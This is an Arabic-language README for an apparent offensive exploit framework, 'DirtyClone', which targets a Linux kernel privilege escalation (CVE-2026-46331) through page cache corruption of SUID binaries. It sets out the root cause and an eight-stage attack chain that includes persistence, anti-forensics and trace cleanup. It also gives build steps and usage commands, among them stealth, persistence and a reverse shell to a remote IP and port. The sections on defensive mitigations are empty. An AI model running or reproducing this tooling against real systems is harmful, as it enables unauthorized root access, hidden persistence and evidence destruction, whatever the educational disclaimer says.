إطار عمل إكسبلويت DirtyClone
CVE-2026-46331 — تصعيد امتيازات محلي في نواة لينكس
فساد ذاكرة التخزين المؤقت للصفحات عبر TC pedit + IPsec TEE · النوى المتأثرة: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝

⚠️ لأغراض تعليمية وبحثية فقط
استخدم هذا الإطار حصريًا في بيئات المختبرات المعزولة التي تملكها
أو التي لديك إذن كتابي صريح لاختبارها.
الاستخدام غير المصرح به غير قانوني وغير أخلاقي.
📋 جدول المحتويات
🔬 نظرة عامة على الثغرة
CVE-2026-46331 هي ثغرة تصعيد امتيازات محلية في نواة لينكس (≤ 6.12.9) ناجمة عن حالة سباق بين إجراء pedit الخاص بـ TC (cls_act) وتكرار الحزم المستند إلى IPsec TEE.
السبب الجذري
عندما تعبر حزمة مسار الإخراج (egress) الخاص بـ TC مع إجراء pedit يضبط IHL = 15، يستقبل نظام IPsec الفرعي في النواة حزمة مشوّهة حيث تتجاوز إزاحة حمولة IP المحسوبة الحدود الفعلية للحزمة. في ظل عمليات sendfile(2) المتزامنة، يسمح هذا التباين لمستخدم غير مميَّز (داخل مساحة اسم مستخدم مع CAP_NET_ADMIN) بإفساد إدخالات ذاكرة التخزين المؤقت للصفحات للقراءة فقط لملفات عشوائية — بما في ذلك ثنائيات SUID.
التأثير
🔗 سلسلة الهجوم
Unprivileged User (UID=1000)
│
▼
[1] Reconnaissance
├─ Kernel version check
├─ userns availability
└─ Target binary profiling
│
▼
[2] Namespace Bypass
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor profile hopping (fallback)
└─ CAP_NET_ADMIN acquired
│
▼
[3] Network Infrastructure
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Page Cache Corruption
├─ sendfile → pedit trigger
├─ Page cache entry corrupted
└─ Shellcode written to read-only binary
│
▼
[5] Privilege Escalation
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Exploitation
├─ Persistence (6 mechanisms)
├─ Evasion / Anti-Forensics
└─ Trace cleanup
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
📁 بنية المشروع
dirtyclone-exploit/
├── Makefile # Build system
├── README.md # This file
├── LICENSE # MIT License
│
├── include/
│ ├── exploit.h # Core types, flags, prototypes
│ ├── packet_engine.h # Packet crafting engine API
│ ├── memory_ops.h # Page cache corruption API
│ └── persistence.h # Persistence mechanism API
│
├── src/
│ ├── main.c # Framework entry point
│ ├── stage_env_analysis.c # Phase 1: Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2: userns bypass
│ ├── stage_network_setup.c # Phase 3: TC/IPsec setup
│ ├── stage_page_cache_corrupt.c # Phase 4: Core exploit
│ ├── stage_privilege_escalation.c # Phase 5: LPE
│ ├── stage_persistence.c # Phase 6: Persistence
│ ├── stage_evasion.c # Phase 7: Anti-forensics
│ ├── stage_cleanup.c # Phase 8: Trace removal
│ ├── memory_ops.c # Page cache primitives
│ ├── packet_engine.c # Raw packet crafting
│ └── persistence.c # Persistence implementations
│
├── modules/
│ ├── packet_craft.py # Python packet crafter (Scapy)
│ └── exploit_analyzer.py # Pre-exploit analysis tool
│
├── scripts/
│ ├── setup_env.sh # Dependency install + build
│ ├── cleanup.sh # System cleanup
│ └── detect_targets.sh # Vulnerable binary scanner
│
└── payloads/
└── README.md # Payload directory info
⚙️ المتطلبات
وقت الترجمة
gcc ≥ 10
make
libcap-dev / libcap-devel
وقت التشغيل (نظام لينكس المستهدف)
- نواة ≤ 6.12.9
iproute2 (tc, ip)
iptables
- مساحات أسماء المستخدمين غير المميَّزة مفعّلة
وحدات بايثون (اختيارية)
🔧 البناء والتثبيت
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
🚀 الاستخدام
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
🐍 وحدات بايثون
exploit_analyzer.py — استطلاع ما قبل الاستغلال
# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — مشغّل الحزم الخام
# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20
🛡️ إجراءات التخفيف الدفاعية
📅 الجدول الزمني
📚 المراجع
👤 المؤلف
VulnQuest · أبحاث أمنية
هذا المستودع مُقدَّم لأغراض تعليمية فقط.
جميع أكواد الاستغلال مخصصة للاستخدام في بيئات مختبرية مصرح بها.